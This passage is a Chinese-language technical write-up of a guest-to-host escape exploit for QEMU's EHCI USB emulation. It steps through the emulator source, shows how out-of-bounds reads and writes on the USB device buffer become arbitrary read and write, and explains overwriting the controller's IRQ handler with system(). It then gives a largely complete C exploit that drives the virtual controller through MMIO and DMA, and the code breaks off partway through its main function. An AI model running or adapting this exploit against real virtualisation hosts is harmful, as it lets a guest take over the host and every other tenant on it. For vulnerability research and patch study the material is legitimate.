uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
#define BUFPTR_CPROGMASK_MASK 0x000000ff
#define BUFPTR_FRAMETAG_MASK 0x0000001f
#define BUFPTR_SBYTES_MASK 0x00000fe0
#define BUFPTR_SBYTES_SH 5
} EHCIqh;



static EHCIQueue *ehci_state_fetchqh(EHCIState *ehci, int async)
{
if (q->dev == NULL) {
q->dev = ehci_find_device(q->ehci,get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));
}
//................................................................
if (q->qh.token & QTD_TOKEN_HALT) {
ehci_set_state(ehci, async, EST_HORIZONTALQH);

} else if ((q->qh.token & QTD_TOKEN_ACTIVE) &&
(NLPTR_TBIT(q->qh.current_qtd) == 0) &&
(q->qh.current_qtd != 0)) {
q->qtdaddr = q->qh.current_qtd;
ehci_set_state(ehci, async, EST_FETCHQTD);

} else {
/* EHCI spec version 1.0 Section 4.10.2 */
ehci_set_state(ehci, async, EST_ADVANCEQUEUE);
}
}
//
static USBDevice *ehci_find_device(EHCIState *ehci, uint8_t addr)
{
USBDevice *dev;
USBPort *port;
int i;

for (i = 0; i < NB_PORTS; i++) {
port = &ehci->ports[i];
if (!(ehci->portsc[i] & PORTSC_PED)) {
DPRINTF("Port %d not enabled\n", i);
continue;
}
dev = usb_find_device(port, addr);
if (dev != NULL) {
return dev;
}
}
return NULL;
}
//
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define PORTSC_PRESET (1 << 8) // Port Reset

static void ehci_port_write(void *ptr, hwaddr addr, uint64_t val, unsigned size)
{
EHCIState *s = ptr;
int port = addr >> 2;
uint32_t *portsc = &s->portsc[port];
uint32_t old = *portsc;
USBDevice *dev = s->ports[port].dev;

trace_usb_ehci_portsc_write(addr + s->portscbase, addr >> 2, val);

/* Clear rwc bits */
*portsc &= ~(val & PORTSC_RWC_MASK);
/* The guest may clear, but not set the PED bit */
*portsc &= val | ~PORTSC_PED;
/* POWNER is masked out by RO_MASK as it is RO when we've no companion */
handle_port_owner_write(s, port, val);
/* And finally apply RO_MASK */
val &= PORTSC_RO_MASK;

if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 1); //这里设置以重置端口
}

if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 0);
if (dev && dev->attached) {
usb_port_reset(&s->ports[port]);
*portsc &= ~PORTSC_CSC;
}

/*
* Table 2.16 Set the enable bit(and enable bit change) to indicate
* to SW that this port has a high speed device attached
*/
if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) {
val |= PORTSC_PED; //这里设置以enable端口以绕过前面的检查
}
}

if ((val & PORTSC_SUSPEND) && !(*portsc & PORTSC_SUSPEND)) {
trace_usb_ehci_port_suspend(port);
}
if (!(val & PORTSC_FPRES) && (*portsc & PORTSC_FPRES)) {
trace_usb_ehci_port_resume(port);
val &= ~PORTSC_SUSPEND;
}

*portsc &= ~PORTSC_RO_MASK;
*portsc |= val;
trace_usb_ehci_portsc_change(addr + s->portscbase, addr >> 2, *portsc, old);
}

继续往下看EST_FETCHQTD这个分支,会调用ehci_state_fetchqtd函数,qtd的地址是根据qh.current_qtd决定的,由于我们可以控制qh因此可以控制qtd。这里只需要设置qtd.token & QTD_TOKEN_ACTIVE(1<<7)即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

/* EHCI spec version 1.0 Section 3.5
*/
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
#define QTD_TOKEN_DTOGGLE (1 << 31)
#define QTD_TOKEN_TBYTES_MASK 0x7fff0000
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_IOC (1 << 15)
#define QTD_TOKEN_CPAGE_MASK 0x00007000
#define QTD_TOKEN_CPAGE_SH 12
#define QTD_TOKEN_CERR_MASK 0x00000c00
#define QTD_TOKEN_CERR_SH 10
#define QTD_TOKEN_PID_MASK 0x00000300
#define QTD_TOKEN_PID_SH 8
#define QTD_TOKEN_ACTIVE (1 << 7)
#define QTD_TOKEN_HALT (1 << 6)
#define QTD_TOKEN_DBERR (1 << 5)
#define QTD_TOKEN_BABBLE (1 << 4)
#define QTD_TOKEN_XACTERR (1 << 3)
#define QTD_TOKEN_MISSEDUF (1 << 2)
#define QTD_TOKEN_SPLITXSTATE (1 << 1)
#define QTD_TOKEN_PING (1 << 0)

uint32_t bufptr[5]; /* Standard buffer pointer */
#define QTD_BUFPTR_MASK 0xfffff000
#define QTD_BUFPTR_SH 12
} EHCIqtd;

/* Section 4.10.2 - paragraph 4 */
static int ehci_state_fetchqtd(EHCIQueue *q)
{
//..............
if (!(qtd.token & QTD_TOKEN_ACTIVE)) {
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
} else if (p != NULL) {
switch (p->async) {
case EHCI_ASYNC_NONE:
case EHCI_ASYNC_INITIALIZED:
/* Not yet executed (MULT), or previously nacked (int) packet */
ehci_set_state(q->ehci, q->async, EST_EXECUTE);
break;
case EHCI_ASYNC_INFLIGHT:
/* Check if the guest has added new tds to the queue */
again = ehci_fill_queue(QTAILQ_LAST(&q->packets));
/* Unfinished async handled packet, go horizontal */
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
break;
case EHCI_ASYNC_FINISHED:
/* Complete executing of the packet */
ehci_set_state(q->ehci, q->async, EST_EXECUTING);
break;
}
} else if (q->dev == NULL) {
ehci_trace_guest_bug(q->ehci, "no device attached to queue");
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
} else {
p = ehci_alloc_packet(q);
p->qtdaddr = q->qtdaddr;
p->qtd = qtd;
ehci_set_state(q->ehci, q->async, EST_EXECUTE);//这里
}

return again;
}

查看ehci_state_execute函数,这里会直接进入again = ehci_execute(p, "process");,进而直接进入usb_handle_packet(p->queue->dev, &p->packet);再进入usb_process_one(p),这里的pid是在ehci_execute函数中的p->pid = ehci_get_pid(&p->qtd);获取的,由于我们可以控制qtd,因此可以控制调用任何一个分支函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
static void usb_process_one(USBPacket *p)
{
USBDevice *dev = p->ep->dev;

/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
p->status = USB_RET_SUCCESS;

if (p->ep->nr == 0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
}
switch (p->pid) {
case USB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
case USB_TOKEN_IN:
do_token_in(dev, p);
break;
case USB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status = USB_RET_STALL;
}
} else {
/* data pipe */
usb_device_handle_data(dev, p);
}
}
////////////////////////////////
static int ehci_get_pid(EHCIqtd *qtd)
{
switch (get_field(qtd->token, QTD_TOKEN_PID)) {
case 0:
return USB_TOKEN_OUT;
case 1:
return USB_TOKEN_IN;
case 2:
return USB_TOKEN_SETUP;
default:
fprintf(stderr, "bad token\n");
return 0;
}
}

/* nifty macros from Arnon's EHCI version */
#define get_field(data, field) \
(((data) & field##_MASK) >> field##_SH)

#define QTD_TOKEN_PID_MASK 0x00000300

#define QTD_TOKEN_PID_SH 8

来看下漏洞函数函数do_token_setupp->iov.size设置为8,它是由qtd->token决定的,setup_buf的地址是由qtd的bufptr确定的,因此长度可控(这块待确定)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}

if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}

p->actual_length = 8;
}

越界读

根据ehci_get_pid,我们需要设置(qtd->token & 0x00000300) >> 8,设置为2>>8。再使用s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];设置setip_len。为了进入指定分支,我们需要提前设置s->setup_state=SETUP_STATE_DATA,要达到这个状态需要在do_token_setup函数中满足s->setup_buf[0] & 0x80(USB_DIR_IN)

设置qtd->token & (2 >> 8)进入读函数,最后一个检查我们要提前设置p->iov.size,它的值由qtd->token = size << QTD_TOKEN_TBYTES_SH控制(这一点是参考文章说的,自己源码中没找到emmmm)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#define USB_DIR_IN			0x80

static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;

assert(p->ep->nr == 0);

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;

case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

越界写

先进入do_token_setup函数设置越界长度以及setbuf[0] & USB_DIR_OUT(0))。设置qtd->token = (0 << 8)进入到do_token_out,将qtd->bufptr[0]复制到s->data_buf。

还有一个存疑的地方是参考文章说

  • 这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA。

这部分等下动调看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;

case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

任意读

  1. 通过do_token_setup设置越界长度setup_len为0x1010
  2. 越界写将setup_len设置为0x1010,setup_index设置为0xfffffff8-0x1010,开始setup_index为0,因此第一次copy可以覆写到setup_len和setup_index,第二次copy的时候setup_index=-8,len=0x1018,故可以拷贝覆写setup_buf[8]
  3. 覆写setup_buf[0]=USB_DIR_IN,将setup_index设置为(target_addr-s->data_buf)-0x1018len = s->setup_len - s->setup_index得到0x1018,故实际拷贝时s->setup_index += len得到target_addr-s->data_buf
  4. 进行越界读即可读取目标地址的内容
1
2
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;

int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096];//拷贝的对象
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;

int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};

任意写

  1. 通过do_token_setup设置越界长度为0x1010
  2. 越界写将setup_len设置为offset+8,将setup_indexoffset-0x1010,copy结束后setup_index=offset,第二次copy的时候len=(offset+8-(offset-0x1010))=0x1018,再拷贝的时候即可对target_qddr进行0x1018长度的拷贝。
1
2
3
int len = s->setup_len - s->setup_index;
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;

整体利用思路

  1. 获取USBDevice对象的地址。越界读取dma_buf+0x2004可以得到USBDevice->remote_wakeup的内容,继续往下读可以读到USBEndpoint ep_ctl,读取其中的dev即可获取到对象的地址,计算偏移就可以获得data_bufUSBPort字段的地址
1
2
3
4
5
6
7
8
9
10
11
12
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
QTAILQ_HEAD(, USBPacket) queue;
};
  1. 在越界读出来的内容里有一个变量是USBDescDevice *device,可以根据这个变量得到system的地址
    • USBDevice 会在 realize 时,调用usb_claim_port,将USBDevice中的port字段设置为指向
      EHCIState中的ports的地址, 读取USBDevice->port的内容就能获得EHCIState->ports 的地址,减去偏移得到 EHCIState的地址。进而得到EHCIState->irq地址
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      void usb_claim_port(USBDevice *dev, Error **errp)
      {
      USBBus *bus = usb_bus_from_device(dev);
      USBPort *port;

      assert(dev->port == NULL);

      if (dev->port_path) {
      QTAILQ_FOREACH(port, &bus->free, next) {
      if (strcmp(port->path, dev->port_path) == 0) {
      break;
      }
      }
      if (port == NULL) {
      error_setg(errp, "usb port %s (bus %s) not found (in use?)",
      dev->port_path, bus->qbus.name);
      return;
      }
      } else {
      if (bus->nfree == 1 && strcmp(object_get_typename(OBJECT(dev)), "usb-hub") != 0) {
      /* Create a new hub and chain it on */
      usb_try_create_simple(bus, "usb-hub", NULL);
      }
      if (bus->nfree == 0) {
      error_setg(errp, "tried to attach usb device %s to a bus "
      "with no free ports", dev->product_desc);
      return;
      }
      port = QTAILQ_FIRST(&bus->free);
      }
      trace_usb_port_claim(bus->busnr, port->path);

      QTAILQ_REMOVE(&bus->free, port, next);
      bus->nfree--;

      dev->port = port;
      port->dev = dev;

      QTAILQ_INSERT_TAIL(&bus->used, port, next);
      bus->nused++;
      }
    • 利用任意写将EHCIState->irq内容填充为伪造的irq地址,将handler 填充成system@plt地址,opaque填充成payload的地址
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      struct IRQState {
      Object parent_obj;

      qemu_irq_handler handler;
      void *opaque;
      int n;
      };

      void qemu_set_irq(qemu_irq irq, int level)
      {
      if (!irq)
      return;

      irq->handler(irq->opaque, irq->n, level);
      }

调试记录

在Resery师傅的exp上调下233,我这里用的还是前几天的CVE-2019-6788那个qemu的binary。

  1. diretory /home/wz/qemu导入一下代码文件夹,之后b core.c:204断到do_token_inusb_packet_copy函数处,第一次的越界读我们读的长度为0x1e00,虽然设置了0x2000的越界长度,但是因为p->iov.size < len,所以我们最终可以读取的长度为0x1e00,设置的qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf)使得我们读取的结果存放到data_buf=dmabuf + 0x1000处,这里我们读取data_buf[4096]后偏移为0x24的地方,进而计算得到port_addr和data_buf_addr

  1. 在越界读偏移为0x4fc处有个程序加载地址相关地址,据此算出proc_base和system@plt

  1. 读取port_addr的内容得到port_ptr,根据这个地址可以算出EHCIState_addr和irq_addr,调试过程中比较重要的是偏移,我们可以用p &((struct EHCIState*)0)->ports得到偏移,这里是0x530,同理可以算出来irq

  1. 拿伪造的fake_irq覆写原irq的地址,上面布置函数指针和参数地址(在dma_buf上布置)

  2. mmio_write读写触发ehci_update_irq->qemu_set_irq,执行system函数弹出计算器。

exp.c

基本就是resery师傅的exp,偏移略有不同,非常感谢师傅的分享以及解惑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>
#include <stdbool.h>

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};

struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};

typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */

/* endpoint characteristics */
uint32_t epchar;

/* endpoint capabilities */
uint32_t epcap;

uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;

uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqh;

typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;

char *setup_buf;
char *data_buf;
char *data_bufoob;
char *first_leak_data;
char *second_leak_data;

unsigned char* mmio_mem;
char *dmabuf;
uint32_t *entry;
struct EHCIqh *qh;
struct EHCIqtd * qtd;
uint64_t device_addr = 0;
uint64_t func_addr = 0;
uint64_t port_addr = 0;
uint64_t port_ptr = 0;
uint64_t data_buf_addr = 0;
uint64_t proc_base = 0;

size_t virtuak_addr_to_physical_addr(void *addr){
uint64_t data;

int fd = open("/proc/self/pagemap",O_RDONLY);
if(!fd){
perror("open pagemap");
return 0;
}

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}

void echi_reset(void){
mmio_write(0x20,1<<1);
return;
}

void set_usbcmd(void){
echi_reset();
mmio_write(0x20,(1<<0)|(1<<4));
return;
}

void set_portsc(void){
mmio_write(0x64,1<<8);
mmio_write(0x64,1<<2);
mmio_write(0x65<<2,1<<8);
mmio_write(0x65<<2,1<<2);
mmio_write(0x66<<2,1<<8);
mmio_write(0x66<<2,1<<2);
mmio_write(0x67<<2,1<<8);
mmio_write(0x67<<2,1<<2);
mmio_write(0x68<<2,1<<8);
mmio_write(0x68<<2,1<<2);
mmio_write(0x69<<2,1<<8);
mmio_write(0x69<<2,1<<2);
return;
}

void set_length(uint64_t length){

setup_buf[6] = length & 0xff;
setup_buf[7] = (length >> 8) & 0xff;

qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(3);
}

void perpare_read(void){

setup_buf[0] = 0x80;
setup_buf[6] = 0xff;
setup_buf[7] = 0x00;

qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(3);
}

void perpare_write(void){

setup_buf[0] = 0x00;
setup_buf[6] = 0xff;
setup_buf[7] = 0x00;

qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(3);
}

void oob_read(uint64_t length,int flag){
if(flag){
perpare_read();
set_length(length);
}

data_buf[0] = 'R';
data_buf[1] = 'e';
data_buf[2] = 's';
data_buf[3] = 'e';
data_buf[4] = 'r';
data_buf[5] = 'y';

qtd->token = (0x1e00 << 16) | (1 << 7) | (1 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf)); // periodiclistbase

sleep(5);
}

void oob_write(uint64_t offset,uint64_t setup_len,uint64_t setup_index,int perpare){
if(perpare){
perpare_write();
set_length(0x1010);
}

*(unsigned long *)(data_bufoob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_bufoob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_bufoob + 0xc+ offset) = setup_index;

qtd->token = (0x1e00 << 16) | (1 << 7) | (0 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(5);
}

void anywhere_read(uint64_t target_addr){
puts("\033[47;31m[*] Anywhere Read\033[0m");
//set_length(0x1010);
oob_write(0x0,0x1010,0xfffffff8-0x1010,1);

*(unsigned long *)(data_buf) = 0x2000000000000080;

uint32_t target_offset = target_addr - data_buf_addr;

oob_write(0x8,0xffff,target_offset - 0x1018,0);
oob_read(0x2000,0);
}

void anywhere_write(uint64_t target_addr,uint64_t payload,int flag){
puts("\033[47;31m[*] Anywhere Write\033[0m");

uint32_t offset = target_addr - data_buf_addr;

oob_write(0, offset+0x8, offset-0x1010,1);

if(flag){
printf("\033[41;37m[*] Hacked!\033[0m\n");
}

*(unsigned long *)(data_buf) = payload;
oob_write(0, 0xffff, 0,0);
}

void init(void){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");

mlock(dmabuf, 0x3000);

//printf("[*] mmio_mem : %p\n", mmio_mem);
//printf("[*] dmabuf : %p\n",dmabuf);

entry = dmabuf + 0x4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_bufoob = dmabuf + 0x2000;
first_leak_data = dmabuf + 0x2000;
second_leak_data = dmabuf + 0x1000;
}

int main(){
puts("\033[41;37m[*] Beginning\033[0m");
puts("\033[47;31m[*] Wait a moment\033[0m");

init();

printf("\033[41;37m[*] Step 1/3\033[0m\n");

oob_read(0x2000,1);
device_addr = 0;

for(int i=36;i<42;i++){
uint64_t tmp = first_leak_data[i] & 0xff;
device_addr |= tmp << ((i-36) * 8);
}

func_addr = 0;
port_addr = device_addr+0x78;
data_buf_addr = device_addr+0xdc;

printf("\033[47;31m[*] Devices addr : 0x%lx\033[0m\n",device_addr);
printf("\033[47;31m[*] Port addr : 0x%lx\033[0m\n",port_addr);
printf("\033[47;31m[*] Data Buf addr : 0x%lx\033[0m\n",data_buf_addr);
for(int i=0x4fc;i<0x4fc+6;i++){
uint64_t tmp = first_leak_data[i] & 0xff;
func_addr |= tmp << ((i-0x4fc) * 8);
}
proc_base = func_addr - 0x1069490;
printf("\033[47;31m[*] Func addr : 0x%lx\033[0m\n",func_addr);
printf("\033[47;31m[*] proc base : 0x%lx\033[0m\n",proc_base);

//uint64_t system_addr = func_addr - 0xb5c860;
uint64_t system_addr = proc_base + 0x2BE010;

printf("\033[47;31m[*] System addr : 0x%lx\033[0m\n",system_addr);
sleep(3);

printf("\033[41;37m[*] Step 2/3\033[0m\n");

anywhere_read(port_addr);

for(int i=0;i<6;i++){
uint64_t tmp = second_leak_data[i] & 0xff;
port_ptr |= tmp << ((i) * 8);
}
printf("\033[47;31m[*] port ptr : 0x%lx\033[0m\n",port_ptr);

uint64_t EHCIState_addr = port_ptr - 0x530;
uint64_t irq_addr = EHCIState_addr + 0xb8;
uint64_t fake_irq_addr = data_buf_addr;
uint64_t irq_ptr = 0;

anywhere_read(irq_addr);

for(int i=0;i<6;i++){
uint64_t tmp = second_leak_data[i] & 0xff;
irq_ptr |= tmp << ((i) * 8);
}

printf("\033[47;31m[*] Port ptr : 0x%lx\033[0m\n",port_ptr);
